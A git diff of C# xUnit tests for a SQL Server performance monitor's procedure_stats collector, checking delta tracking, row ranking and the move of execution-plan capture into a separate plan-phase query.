+        foreach (var r in rows)
+        {
+            var v = new object[27];
+            v[0] = "db";
+            v[1] = "dbo";
+            v[2] = "proc_" + r.Handle;
+            v[3] = "PROCEDURE";
+            v[4] = s_t0.AddDays(-1);
+            v[5] = time;
+            v[6] = r.Exec;
+            v[7] = r.Worker;
+            v[8] = r.Elapsed;
+            v[9] = r.Reads;
+            v[10] = r.Phys;
+            v[11] = r.Writes;
+            for (var i = 12; i <= 21; i++)
+            {
+                v[i] = 0L;
+            }
+
+            v[22] = r.Spills;
+            v[23] = 0L;
+            v[24] = 0L;
+            v[25] = "0xAA" + r.Handle;
+            v[26] = r.Handle;
+            table.Rows.Add(v);
+        }
+
+        await using var reader = table.CreateDataReader();
+        return await ProcedureStatsCollector.Instance.ReadAsync(reader, Context(deltas, time), CancellationToken.None);
+    }
+
+    private static List<Written> Write(ICollectorDeltaCalculator deltas, DateTime time, IEnumerable<ProcedureStatsCollector.Row> rows)
+    {
+        var result = new List<Written>();
+        foreach (var row in rows)
+        {
+            var writer = new CapturingWriter();
+            ProcedureStatsCollector.Instance.WritePayload(row, writer, Context(deltas, time));
+            result.Add(new Written(row.PlanHandle!, writer.Longs.Skip(19).Take(7).ToArray(), Assert.Single(writer.Ints)));
+        }
+
+        return result;
+    }
+
+    /// <summary>One full cycle: read, then write what the read kept.</summary>
+    private static async Task<List<Written>> CycleAsync(ICollectorDeltaCalculator deltas, DateTime time, params Counters[] rows)
+        => Write(deltas, time, await ReadAsync(deltas, time, rows));
+
+    [Fact]
+    public async Task AFirstSighting_IsKept_WithZeroDeltasAndNoInterval()
+    {
+        var calc = new CountingCalculator();
+
+        var written = await CycleAsync(calc, s_t0, Counters.Of("01", 10));
+
+        var row = Assert.Single(written);
+        Assert.All(row.Deltas, d => Assert.Equal(0L, d));
+        Assert.Equal(0, row.Interval);
+    }
+
+    [Fact]
+    public async Task AnUnchangedRow_OverAMeasuredInterval_IsDropped_AndItsBaselineAdvances()
+    {
+        var calc = new CountingCalculator();
+        await CycleAsync(calc, s_t0, Counters.Of("01", 10));
+
+        var kept = await ReadAsync(calc, s_t0.AddSeconds(60), Counters.Of("01", 10));
+
+        Assert.Empty(kept);
+        /* The idle row called the calculator exactly once per group at read time, and nothing writes it. */
+        Assert.Equal(7 * 2, calc.CallsFor("01"));
+
+        /* Its baseline moved to the new timestamp: a busy cycle one interval later reports one interval, not two. */
+        var busy = await CycleAsync(calc, s_t0.AddSeconds(120), Counters.Of("01", 13));
+        var row = Assert.Single(busy);
+        Assert.Equal(3L, row.Deltas[0]);
+        Assert.Equal(60, row.Interval);
+    }
+
+    [Fact]
+    public async Task AMovedRow_IsKept_AndKeepsTheWritesDeltaPath_WithNoReadTimeCall()
+    {
+        var calc = new CountingCalculator();
+        await CycleAsync(calc, s_t0, Counters.Of("01", 10));
+        var before = calc.CallsFor("01");
+
+        var kept = await ReadAsync(calc, s_t0.AddSeconds(60), Counters.Of("01", 12));
+
+        var row = Assert.Single(kept);
+        Assert.Null(row.Precomputed);
+        Assert.Equal(before, calc.CallsFor("01")); /* the read did not call the calculator for a moved row */
+
+        var written = Write(calc, s_t0.AddSeconds(60), kept);
+        Assert.Equal(2L, written[0].Deltas[0]);
+        Assert.Equal(60, written[0].Interval);
+        Assert.Equal(before + 7, calc.CallsFor("01")); /* the write called it once per group */
+    }
+
+    [Fact]
+    public async Task AGapPastThePolicy_KeepsAnUnchangedRow_WithZeroZero_AndNoSecondCalculatorCall()
+    {
+        var calc = new CountingCalculator();
+        await CycleAsync(calc, s_t0, Counters.Of("01", 10));
+        var before = calc.CallsFor("01");
+        var later = s_t0.AddSeconds(CollectorDeltaCalculator.DefaultMaxGapSeconds + 1);
+
+        var kept = await ReadAsync(calc, later, Counters.Of("01", 10));
+
+        var row = Assert.Single(kept);
+        Assert.NotNull(row.Precomputed);
+        Assert.Equal(0, row.Precomputed!.Value.IntervalSeconds);
+
+        var written = Write(calc, later, kept);
+        Assert.All(written[0].Deltas, d => Assert.Equal(0L, d));
+        Assert.Equal(0, written[0].Interval);
+        Assert.Equal(before + 7, calc.CallsFor("01")); /* seven calls in all for this run, made at read time, none in the write */
+    }
+
+    [Fact]
+    public async Task ACalculatorThatPeeksNothing_DropsNothing()
+    {
+        var calc = new NoPeekCalculator();
+
+        var kept = await ReadAsync(calc, s_t0, Counters.Of("01", 10), Counters.Of("02", 20));
+        var again = await ReadAsync(calc, s_t0.AddSeconds(60), Counters.Of("01", 10), Counters.Of("02", 20));
+
+        Assert.Equal(2, kept.Count);
+        Assert.Equal(2, again.Count);
+        Assert.All(again, r => Assert.Null(r.Precomputed));
+    }
+
+    [Fact]
+    public async Task ARowIdleForLongerThanTheGapPolicyCovers_ThenBusy_GetsARealDeltaOverOneInterval()
+    {
+        var calc = new CountingCalculator();
+        await CycleAsync(calc, s_t0, Counters.Of("01", 10));
+
+        /* 70 minutes of idle cycles, each one a drop that advances the baseline: more than DefaultMaxGapSeconds in all. */
+        var time = s_t0;
+        for (var i = 0; i < 70; i++)
+        {
+            time = time.AddSeconds(60);
+            Assert.Empty(await ReadAsync(calc, time, Counters.Of("01", 10)));
+        }
+
+        time = time.AddSeconds(60);
+        var busy = await CycleAsync(calc, time, Counters.Of("01", 16));
+
+        var row = Assert.Single(busy);
+        Assert.Equal(6L, row.Deltas[0]); /* a real delta, never a re-baseline */
+        Assert.Equal(60, row.Interval);
+    }
+
+    [Fact]
+    public async Task AReadWithNoWrite_ThenABusyCycle_GetsBothSlicesOfWork()
+    {
+        /* The abandon case (#2673): the cycle read, blew its budget and shipped nothing. The next cycle has to cover the slice. */
+        var calc = new CountingCalculator();
+        await CycleAsync(calc, s_t0, Counters.Of("01", 10));
+
+        var abandoned = await ReadAsync(calc, s_t0.AddSeconds(60), Counters.Of("01", 14));
+        Assert.Single(abandoned); /* read, kept, never written */
+
+        var next = await CycleAsync(calc, s_t0.AddSeconds(120), Counters.Of("01", 19));
+
+        var row = Assert.Single(next);
+        Assert.Equal(9L, row.Deltas[0]); /* 4 from the abandoned slice plus 5 from this one */
+        Assert.Equal(120, row.Interval);
+    }
+
+    [Fact]
+    public async Task EveryFetchedRow_CallsTheCalculatorOncePerGroup_PerRun()
+    {
+        var calc = new CountingCalculator();
+        await CycleAsync(calc, s_t0, Counters.Of("01", 10), Counters.Of("02", 20), Counters.Of("03", 30));
+        var b1 = calc.CallsFor("01");
+        var b2 = calc.CallsFor("02");
+        var b3 = calc.CallsFor("03");
+
+        /* 01 and 03 idle (dropped at read), 02 moved (written). */
+        var later = s_t0.AddSeconds(30);
+        var rows = await ReadAsync(calc, later, Counters.Of("01", 10), Counters.Of("02", 25), Counters.Of("03", 30));
+        Write(calc, later, rows);
+
+        Assert.Equal(b1 + 7, calc.CallsFor("01"));
+        Assert.Equal(b2 + 7, calc.CallsFor("02"));
+        Assert.Equal(b3 + 7, calc.CallsFor("03"));
+    }
+
+    [Fact]
+    public async Task OnePartlyMovedCounter_KeepsTheRow()
+    {
+        var calc = new CountingCalculator();
+        await CycleAsync(calc, s_t0, Counters.Of("01", 10));
+
+        /* Only the spills counter moved: not idle. */
+        var kept = await ReadAsync(calc, s_t0.AddSeconds(60), Counters.Of("01", 10) with { Spills = 3 });
+
+        Assert.Single(kept);
+    }
+
+    [Fact]
+    public async Task TheKeptRows_AreRankedByInIntervalElapsedTime_NotLifetime()
+    {
+        var calc = new CountingCalculator();
+        /* "01" has the biggest lifetime elapsed time, "02" the smallest. */
+        await CycleAsync(calc, s_t0, Counters.Of("01", 1, elapsed: 1_000_000), Counters.Of("02", 1, elapsed: 10), Counters.Of("03", 1, elapsed: 500));
+
+        var kept = await ReadAsync(
+            calc, s_t0.AddSeconds(60),
+            Counters.Of("01", 2, elapsed: 1_000_050),   /* +50 */
+            Counters.Of("02", 2, elapsed: 9_010),       /* +9000 */
+            Counters.Of("03", 2, elapsed: 2_500));      /* +2000 */
+
+        Assert.Equal(new[] { "02", "03", "01" }, kept.Select(r => r.PlanHandle));
+    }
+
+    [Fact]
+    public async Task OnAColdStart_TheRankIsLifetimeElapsedTime_AndTiesBreakByPlanHandle()
+    {
+        var calc = new CountingCalculator();
+
+        var kept = await ReadAsync(
+            calc, s_t0,
+            Counters.Of("03", 1, elapsed: 500),
+            Counters.Of("02", 1, elapsed: 900),
+            Counters.Of("05", 1, elapsed: 900),
+            Counters.Of("01", 1, elapsed: 900),
+            Counters.Of("04", 1, elapsed: 100));
+
+        /* 900 x3 by handle ordinal, then 500, then 100. */
+        Assert.Equal(new[] { "01", "02", "05", "03", "04" }, kept.Select(r => r.PlanHandle));
+    }
+
+    [Fact]
+    public async Task ACounterThatWentBackwards_RanksByLifetimeElapsedTime()
+    {
+        var calc = new CountingCalculator();
+        await CycleAsync(calc, s_t0, Counters.Of("01", 5, elapsed: 1_000), Counters.Of("02", 5, elapsed: 400));
+
+        /* 01's counter reset (a plan cache eviction): current < baseline, so its rank is its lifetime value. */
+        var kept = await ReadAsync(calc, s_t0.AddSeconds(60), Counters.Of("01", 6, elapsed: 300), Counters.Of("02", 6, elapsed: 700));
+
+        Assert.Equal(new[] { "01", "02" }, kept.Select(r => r.PlanHandle)); /* 300 (lifetime) vs +300: tie, handle order */
+    }
+}
diff --git a/Darling/Darling.Tests/ProcedureStatsPlanCadenceTests.cs b/Darling/Darling.Tests/ProcedureStatsPlanCadenceTests.cs
index 22ec3ef375..9819a6abe5 100644
--- a/Darling/Darling.Tests/ProcedureStatsPlanCadenceTests.cs
+++ b/Darling/Darling.Tests/ProcedureStatsPlanCadenceTests.cs
@@ -41,27 +41,35 @@ namespace Darling.Tests;
 /// </summary>
 public class ProcedureStatsPlanCadenceTests
 {
-    /* The exact seam the saving rides on: CollectorContext.CapturePlanXml=false erases the plan placeholders,
-       which is decomposition variant A. Built here rather than retyped so the pin tracks the shipped SQL. */
+    /* The exact seam the saving rides on: CollectorContext.CapturePlanXml decides whether the plan phase runs and
+       renders at all (#5449: the main query is numbers only either way). Built here rather than retyped so the pin
+       tracks the shipped SQL. */
+    private static CollectorContext ContextFor(bool capturePlanXml) => new()
+    {
+        ServerId = 42,
+        ServerName = "example",
+        CollectionTime = new DateTime(2026, 9, 4, 0, 0, 0, DateTimeKind.Utc),
+        Deltas = new CollectorDeltaCalculator(),
+        CapturePlanXml = capturePlanXml,
+    };
+
     private static string BuiltQuery(bool capturePlanXml) =>
-        ProcedureStatsCollector.Instance.BuildQuery(new CollectorContext
-        {
-            ServerId = 42,
-            ServerName = "example",
-            CollectionTime = new DateTime(2026, 9, 4, 0, 0, 0, DateTimeKind.Utc),
-            Deltas = new CollectorDeltaCalculator(),
-            CapturePlanXml = capturePlanXml,
-        }).Text;
+        ProcedureStatsCollector.Instance.BuildQuery(ContextFor(capturePlanXml)).Text;
+
+    private static string PlanPhase(bool capturePlanXml) =>
+        ProcedureStatsCollector.BuildPlanPhaseQuery(ContextFor(capturePlanXml), new[] { new byte[] { 0x05, 0x00, 0xAB } }).Text;
 
     [Fact]
-    public void AGatedCycle_OmitsThePlanApplyEntirely_RatherThanRenderingAndDiscarding()
+    public void AGatedCycle_RunsNoPlanQueryAtAll_RatherThanRenderingAndDiscarding()
     {
         /* THE load-bearing pin for the whole change. Cadence only saves anything if the skipped cycle does
            not render; a gated path that rendered and threw the bytes away would still pay the 73.8%, which
-           is the entire cost this exists to remove. Asserted on the SQL the collector actually builds. */
-        var gated = BuiltQuery(capturePlanXml: false);
-        var capturing = BuiltQuery(capturePlanXml: true);
+           is the entire cost this exists to remove. With #5449 the plan lives in a second query, so the pin
+           is that a gated cycle has no such query (PlanPhaseApplies is false) and its main query has no apply. */
+        Assert.False(ProcedureStatsCollector.PlanPhaseApplies(ContextFor(capturePlanXml: false)));
+        Assert.Throws<InvalidOperationException>(() => PlanPhase(capturePlanXml: false));
 
+        var gated = BuiltQuery(capturePlanXml: false);
         Assert.DoesNotContain("dm_exec_text_query_plan", gated, StringComparison.Ordinal);
         Assert.DoesNotContain("OUTER APPLY", gated, StringComparison.Ordinal);
         Assert.DoesNotContain("query_plan", gated, StringComparison.Ordinal);
@@ -69,55 +77,35 @@ is the entire cost this exists to remove. Asserted on the SQL the collector actu
         /* And the capturing form still renders at whole-module grain, so this is a cadence change and not a
            silent narrowing of what gets captured when it IS captured. The module DMVs expose no statement
            offsets, so 0, -1 is the only available grain. */
-        Assert.Contains("sys.dm_exec_text_query_plan(CONVERT(varbinary(64), ranked.plan_handle, 1), 0, -1)", capturing, StringComparison.Ordinal);
-
-        /* #1959's placement survives: the apply is outside the ranked derived table, so it renders once
-           against at most 150 survivors rather than once per pre-TOP candidate. */
-        Assert.Contains(") AS ranked" + Environment.NewLine + "OUTER APPLY", capturing.Replace("\r\n", Environment.NewLine, StringComparison.Ordinal), StringComparison.Ordinal);
+        Assert.True(ProcedureStatsCollector.PlanPhaseApplies(ContextFor(capturePlanXml: true)));
+        Assert.Contains("sys.dm_exec_text_query_plan(CONVERT(varbinary(64), ranked.plan_handle, 1), 0, -1)", PlanPhase(capturePlanXml: true), StringComparison.Ordinal);
     }
 
     [Fact]
-    public void TheGatedQuery_KeepsTheRowShapeTheWriterAndPayloadDimensionExpect()
+    public void TheMainQuery_IsTheSameShape_WithOrWithoutCapture_AndThePlanColumnsStayInsideThePlanPhase()
     {
-        /* The gated form must differ from the capturing form ONLY by the plan fragments — same payload
-           columns, same branches, same exclusion handling — because ReadAsync reads ordinals 27 and 28 only
-           when CapturePlanXml is set and PgCollectorRowWriter writes NULL payloads for both plan positions.
-           Pinned by removing the known fragments from the capturing text and demanding equality, which
-           fails if either form grows or loses anything else.
-
-           This is also the pin that keeps #3392's query_plan_xml_bytes INSIDE the CapturePlanXml gate. A
-           size column spliced outside it would appear in the gated form too, the equality below would hold,
-           and Lite's SQL would have silently stopped being byte-identical to the no-plan form — so the
-           fragment stripped here carries BOTH plan columns as one unit, exactly as the collector splices
-           them. */
+        /* #5449: the main query is numbers only, so it is byte-identical with and without capture, which is what
+           keeps the ordinals ReadAsync reads (0-26) and the writer's payload columns fixed. The two plan
+           columns, as one unit (#3392: the size column must stay inside the CapturePlanXml gate), exist only in the
+           plan phase. */
         var gated = BuiltQuery(capturePlanXml: false);
         var capturing = BuiltQuery(capturePlanXml: true);
+        Assert.Equal(gated, capturing);
 
         /* Derived from the shared cap constant, not retyped, so this can't silently drift out of sync
            with QueryPlanXmlCaptureLimits.MaxCapturedPlanXmlBytes the way a repeated literal could. */
-        var planXmlFragment = $",\r\n    query_plan_xml = CASE WHEN DATALENGTH(tqp.query_plan) > {QueryPlanXmlCaptureLimits.MaxCapturedPlanXmlBytes} THEN NULL ELSE tqp.query_plan END,\r\n    query_plan_xml_bytes = DATALENGTH(tqp.query_plan)";
-        var stripped = capturing
-            .Replace(planXmlFragment, "", StringComparison.Ordinal)
-            .Replace(planXmlFragment.Replace("\r\n", "\n", StringComparison.Ordinal), "", StringComparison.Ordinal)
-            .Replace("\r\nOUTER APPLY sys.dm_exec_text_query_plan(CONVERT(varbinary(64), ranked.plan_handle, 1), 0, -1) AS tqp", "", StringComparison.Ordinal)
-            .Replace("\nOUTER APPLY sys.dm_exec_text_query_plan(CONVERT(varbinary(64), ranked.plan_handle, 1), 0, -1) AS tqp", "", StringComparison.Ordinal);
-
-        Assert.Equal(gated, stripped);
+        var planPhase = PlanPhase(capturePlanXml: true).Replace("\r\n", "\n", StringComparison.Ordinal);
+        Assert.Contains($",\n    query_plan_xml = CASE WHEN DATALENGTH(tqp.query_plan) > {QueryPlanXmlCaptureLimits.MaxCapturedPlanXmlBytes} THEN NULL ELSE tqp.query_plan END,\n    query_plan_xml_bytes = DATALENGTH(tqp.query_plan)", planPhase, StringComparison.Ordinal);
 
         /* Both forms still carry the last non-plan payload column, so "no plans" has not eaten a real one. */
         Assert.Contains("plan_handle = CONVERT(varchar(130), s.plan_handle, 1)", gated, StringComparison.Ordinal);
-        Assert.Contains("plan_handle = CONVERT(varchar(130), s.plan_handle, 1)", capturing, StringComparison.Ordinal);
-
-        /* Both forms are still capped, which is why a skipped cycle cannot make the next one more expensive:
-           the us-east-1 fleet reports rows_collected = 150 on every run, so the candidate set is already
-           saturated and a gap cannot enlarge it. */
-        Assert.Contains("TOP (150)", gated, StringComparison.Ordinal);
-        Assert.Contains("TOP (150)", capturing, StringComparison.Ordinal);
-
-        /* #3392, stated directly rather than only implied by the equality above: the size column exists in
-           the capturing form and NOWHERE in the gated one. Without this, a future edit that moved the column
-           out of the gate and correspondingly widened the stripped fragment would still pass. */
-        Assert.Contains("query_plan_xml_bytes", capturing, StringComparison.Ordinal);
+
+        /* The candidate set is capped once, and a gap cannot enlarge it past the cap. */
+        Assert.Contains("TOP (" + ProcedureStatsCollector.MaxCandidateRows + ")", gated, StringComparison.Ordinal);
+        Assert.DoesNotContain("TOP (150)", gated, StringComparison.Ordinal);
+
+        /* #3392, stated directly: the size column is in the plan phase and NOWHERE in the main query. */
+        Assert.Contains("query_plan_xml_bytes", planPhase, StringComparison.Ordinal);
         Assert.DoesNotContain("query_plan_xml_bytes", gated, StringComparison.Ordinal);
     }
 
diff --git a/Darling/Darling.Tests/ProcedureStatsPlanFetchTests.cs b/Darling/Darling.Tests/ProcedureStatsPlanFetchTests.cs
new file mode 100644
index 0000000000..06b5840ab8
--- /dev/null
+++ b/Darling/Darling.Tests/ProcedureStatsPlanFetchTests.cs
@@ -0,0 +1,485 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Data;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Collectors;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5158: <c>procedure_stats</c> can leave the plan out of its main query
+/// (<see cref="CollectorContext.DeferPlanXmlFetch"/>), read a three-column identity fingerprint in its place,
+/// and render plans in a second target query. Nothing sets the switch yet, so these pin the collector's
+/// shapes and the writer seam, not a behavior change. The byte pins for the unchanged shapes are in
+/// <see cref="ProcedureStatsSqlGoldenTests"/>.
+/// </summary>
+public sealed class ProcedureStatsPlanFetchTests
+{
+    private static CollectorContext MakeContext(bool capture, bool defer = false, bool azure = false, bool identity = false)
+        => new()
+        {
+            PlanIdentityColumns = identity,
+            ServerId = 42,
+            ServerName = "test-server",
+            CollectionTime = new DateTime(2026, 7, 2, 12, 0, 0, DateTimeKind.Utc),
+            Deltas = new NoDeltas(),
+            Target = new CollectorTargetInfo { IsAzureSqlDb = azure },
+            CapturePlanXml = capture,
+            DeferPlanXmlFetch = defer,
+        };
+
+    private static readonly byte[][] s_handles =
+    {
+        new byte[] { 0x05, 0x00, 0x05, 0xAB },
+        new byte[] { 0x05, 0x00, 0x0F, 0x01, 0xEE },
+    };
+
+    private static string Build(CollectorContext c) => ProcedureStatsCollector.Instance.BuildQuery(c).Text;
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public void MainQuery_IsNumbersOnly_InEveryPlanMode(bool azure)
+    {
+        /* #5449: no plan columns, no identity columns, no apply and no derived table, whatever the mode. */
+        foreach (var context in new[]
+        {
+            MakeContext(capture: false, azure: azure),
+            MakeContext(capture: true, azure: azure),
+            MakeContext(capture: true, azure: azure, identity: true),
+            MakeContext(capture: true, defer: true, azure: azure, identity: true),
+            MakeContext(capture: false, azure: azure, identity: true),
+        })
+        {
+            var sql = Build(context);
+
+            Assert.DoesNotContain("dm_exec_text_query_plan", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("query_plan_xml", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("plan_statement_count", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("ranked", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("TOP (150)", sql, StringComparison.Ordinal);
+            Assert.Contains("TOP (" + ProcedureStatsCollector.MaxCandidateRows + ")", sql, StringComparison.Ordinal);
+            Assert.Contains("last_execution_time DESC", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("PLAN_SELECT", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("PLAN_APPLY", sql, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void TheCandidateCap_IsOneConstant_BesideThePlanLimit()
+    {
+        Assert.Equal(5000, ProcedureStatsCollector.MaxCandidateRows);
+        Assert.Equal(150, ProcedureStatsCollector.MaxPlansPerRun);
+        Assert.Equal(ProcedureStatsCollector.MaxPlansPerRun, PerformanceMonitor.Darling.Service.ProcedureStatsPlanReuse.MaxMissesPerRun);
+
+        /* The standard text names the cap once, in the dynamic SQL; the Azure text names it once. */
+        Assert.Single(System.Text.RegularExpressions.Regex.Matches(Build(MakeContext(capture: false)), @"TOP \(\d+\)"));
+        Assert.Single(System.Text.RegularExpressions.Regex.Matches(Build(MakeContext(capture: false, azure: true)), @"TOP \(\d+\)"));
+    }
+
+    private static string PlanPhase(CollectorContext c) => ProcedureStatsCollector.BuildPlanPhaseQuery(c, s_handles).Text.ReplaceLineEndings("\n");
+
+    [Fact]
+    public void PlanPhase_Off_AppliesThePlanFragmentOverTheValuesList()
+    {
+        var sql = PlanPhase(MakeContext(capture: true));
+
+        Assert.Contains("OUTER APPLY sys.dm_exec_text_query_plan(CONVERT(varbinary(64), ranked.plan_handle, 1), 0, -1) AS tqp", sql, StringComparison.Ordinal);
+        Assert.Contains("query_plan_xml_bytes", sql, StringComparison.Ordinal);
+        Assert.Contains(") AS ranked (ord, plan_handle)", sql, StringComparison.Ordinal);
+        Assert.Contains("(0, '0x050005AB')", sql, StringComparison.Ordinal);
+        Assert.Contains("(1, '0x05000F01EE')", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("plan_statement_count", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void PlanPhase_Shadow_AppliesBothFragments_PlanFirst()
+    {
+        var sql = PlanPhase(MakeContext(capture: true, identity: true));
+
+        Assert.Contains("dm_exec_text_query_plan", sql, StringComparison.Ordinal);
+        Assert.Contains("plan_statement_count = pfp.plan_statement_count", sql, StringComparison.Ordinal);
+        Assert.True(sql.IndexOf("query_plan_xml_bytes", StringComparison.Ordinal) < sql.IndexOf("plan_statement_count", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void PlanPhase_On_AppliesTheIdentityFragmentAlone()
+    {
+        foreach (var context in new[] { MakeContext(capture: true, defer: true, identity: true), MakeContext(capture: false, identity: true) })
+        {
+            var sql = PlanPhase(context);
+
+            Assert.DoesNotContain("dm_exec_text_query_plan", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("query_plan_xml", sql, StringComparison.Ordinal);
+            Assert.Contains("sys.dm_exec_query_stats", sql, StringComparison.Ordinal);
+            Assert.Contains("WHERE qs.plan_handle = CONVERT(varbinary(64), ranked.plan_handle, 1)", sql, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void PlanPhase_Throws_OnEmpty_TooMany_ABadHandle_OrARunWithNoPlanPhase()
+    {
+        Assert.Throws<InvalidOperationException>(() =>
+            ProcedureStatsCollector.BuildPlanPhaseQuery(MakeContext(capture: true), Array.Empty<byte[]>()));
+        Assert.Throws<InvalidOperationException>(() =>
+            ProcedureStatsCollector.BuildPlanPhaseQuery(MakeContext(capture: false), s_handles));
+        Assert.Throws<InvalidOperationException>(() =>
+            ProcedureStatsCollector.BuildPlanPhaseQuery(MakeContext(capture: true), new[] { new byte[65] }));
+        Assert.Throws<InvalidOperationException>(() =>
+            ProcedureStatsCollector.BuildPlanPhaseQuery(MakeContext(capture: true), new[] { Array.Empty<byte>() }));
+        Assert.Throws<InvalidOperationException>(() =>
+            ProcedureStatsCollector.BuildPlanPhaseQuery(
+                MakeContext(capture: true), System.Linq.Enumerable.Repeat(new byte[] { 1 }, ProcedureStatsCollector.MaxPlansPerRun + 1).ToArray()));
+
+        /* Exactly the limit is fine. */
+        _ = ProcedureStatsCollector.BuildPlanPhaseQuery(
+            MakeContext(capture: true), System.Linq.Enumerable.Repeat(new byte[] { 1 }, ProcedureStatsCollector.MaxPlansPerRun).ToArray());
+    }
+
+    [Fact]
+    public void PlanPhaseApplies_OnlyWhenPlansOrIdentitiesAreAsked()
+    {
+        Assert.False(ProcedureStatsCollector.PlanPhaseApplies(MakeContext(capture: false)));
+        Assert.True(ProcedureStatsCollector.PlanPhaseApplies(MakeContext(capture: true)));
+        Assert.True(ProcedureStatsCollector.PlanPhaseApplies(MakeContext(capture: true, identity: true)));
+        Assert.True(ProcedureStatsCollector.PlanPhaseApplies(MakeContext(capture: false, identity: true)));
+        Assert.True(ProcedureStatsCollector.PlanPhaseApplies(MakeContext(capture: true, defer: true, identity: true)));
+    }
+
+    [Fact]
+    public void SelectPlanPhaseRows_TakesTheFirst150ParsableHandles_InRowOrder()
+    {
+        var rows = new List<ProcedureStatsCollector.Row>();
+        for (var i = 0; i < 200; i++)
+        {
+            /* Every tenth row has a handle that does not parse; it is never sent. */
+            rows.Add(default(ProcedureStatsCollector.Row) with { PlanHandle = i % 10 == 3 ? "garbage" : "0x" + i.ToString("X4", CultureInfo.InvariantCulture) });
+        }
+
+        var indexes = ProcedureStatsCollector.SelectPlanPhaseRows(rows, out var handles);
+
+        Assert.Equal(150, indexes.Count);
+        Assert.Equal(150, handles.Count);
+        Assert.DoesNotContain(3, indexes);
+        Assert.Equal(new[] { 0, 1, 2, 4 }, indexes.GetRange(0, 4));
+        Assert.Equal(new byte[] { 0x00, 0x04 }, handles[3]);
+        Assert.True(indexes.SequenceEqual(indexes.OrderBy(x => x)));
+    }
+
+    [Fact]
+    public void ApplyPlanPhase_MergesByPosition_AndMarksEveryOtherRowSkipped()
+    {
+        var rows = new List<ProcedureStatsCollector.Row>
+        {
+            default(ProcedureStatsCollector.Row) with { PlanHandle = "0x01" },
+            default(ProcedureStatsCollector.Row) with { PlanHandle = "0x02" },
+            default(ProcedureStatsCollector.Row) with { PlanHandle = "garbage" },
+        };
+        var compile = new DateTime(2026, 7, 1, 8, 30, 0, DateTimeKind.Utc);
+        var results = new Dictionary<int, ProcedureStatsCollector.PlanPhaseResult>
+        {
+            [0] = new("<p/>", 4L, 7L, compile, 19L),
+        };
+
+        ProcedureStatsCollector.ApplyPlanPhase(rows, new[] { 0, 1 }, results);
+
+        Assert.Equal("<p/>", rows[0].QueryPlanXml);
+        Assert.Equal(4L, rows[0].QueryPlanXmlBytes);
+        Assert.Equal(7L, rows[0].PlanStatementCount);
+        Assert.Equal(compile, rows[0].PlanLastStatementCompile);
+        Assert.Equal(19L, rows[0].PlanGenerationSum);
+        Assert.False(rows[0].PlanPhaseSkipped);
+        Assert.True(rows[1].PlanPhaseSkipped); /* sent, but no result came back */
+        Assert.True(rows[2].PlanPhaseSkipped); /* never sent */
+
+        /* A failed phase (null results) marks every row skipped and gives none a plan. */
+        ProcedureStatsCollector.ApplyPlanPhase(rows, new[] { 0, 1 }, null);
+        Assert.All(rows, r => Assert.True(r.PlanPhaseSkipped));
+    }
+
+    [Fact]
+    public async Task ReadPlanPhaseAsync_ReadsTheColumnsOfTheRunsMode()
+    {
+        var compile = new DateTime(2026, 7, 1, 8, 30, 0, DateTimeKind.Utc);
+
+        var on = await ReadPlanPhaseOneRowAsync(MakeContext(capture: true, defer: true, identity: true), "on", compile);
+        Assert.Null(on.PlanXml);
+        Assert.Null(on.PlanBytes);
+        Assert.Equal(7L, on.StatementCount);
+        Assert.Equal(compile, on.LastStatementCompile);
+        Assert.Equal(19L, on.GenerationSum);
+
+        var off = await ReadPlanPhaseOneRowAsync(MakeContext(capture: true), "off", compile);
+        Assert.Equal("<ShowPlanXML/>", off.PlanXml);
+        Assert.Equal(14L, off.PlanBytes);
+        Assert.Null(off.StatementCount);
+        Assert.Null(off.GenerationSum);
+
+        var shadow = await ReadPlanPhaseOneRowAsync(MakeContext(capture: true, identity: true), "shadow", compile);
+        Assert.Equal("<ShowPlanXML/>", shadow.PlanXml);
+        Assert.Equal(14L, shadow.PlanBytes);
+        Assert.Equal(7L, shadow.StatementCount);
+        Assert.Equal(compile, shadow.LastStatementCompile);
+        Assert.Equal(19L, shadow.GenerationSum);
+    }
+
+    private static async Task<ProcedureStatsCollector.PlanPhaseResult> ReadPlanPhaseOneRowAsync(CollectorContext context, string mode, DateTime compile)
+    {
+        using var table = new DataTable();
+        table.Columns.Add("ord", typeof(int));
+        if (mode != "on")
+        {
+            table.Columns.Add("query_plan_xml", typeof(string));
+            table.Columns.Add("query_plan_xml_bytes", typeof(long));
+        }
+
+        if (mode != "off")
+        {
+            table.Columns.Add("plan_statement_count", typeof(long));
+            table.Columns.Add("plan_last_statement_compile", typeof(DateTime));
+            table.Columns.Add("plan_generation_sum", typeof(long));
+        }
+
+        var values = new List<object> { 0 };
+        if (mode != "on")
+        {
+            values.Add("<ShowPlanXML/>");
+            values.Add(14L);
+        }
+
+        if (mode != "off")
+        {
+            values.Add(7L);
+            values.Add(compile);
+            values.Add(19L);
+        }
+
+        table.Rows.Add(values.ToArray());
+
+        await using var reader = table.CreateDataReader();
+        var results = await ProcedureStatsCollector.ReadPlanPhaseAsync(reader, context, CancellationToken.None);
+        return Assert.Single(results).Value;
+    }
+
+    [Fact]
+    public void DeferWithoutCapture_ChangesNothing()
+    {
+        Assert.Equal(Build(MakeContext(capture: false)), Build(MakeContext(capture: false, defer: true)));
+        Assert.Equal(Build(MakeContext(capture: false, azure: true)), Build(MakeContext(capture: false, defer: true, azure: true)));
+    }
+
+    [Fact]
+    public void FetchQuery_PinsModuleOffsets_ZeroMinusOne()
+    {
+        Assert.Equal(0, ProcedureStatsCollector.ModuleStatementStartOffset);
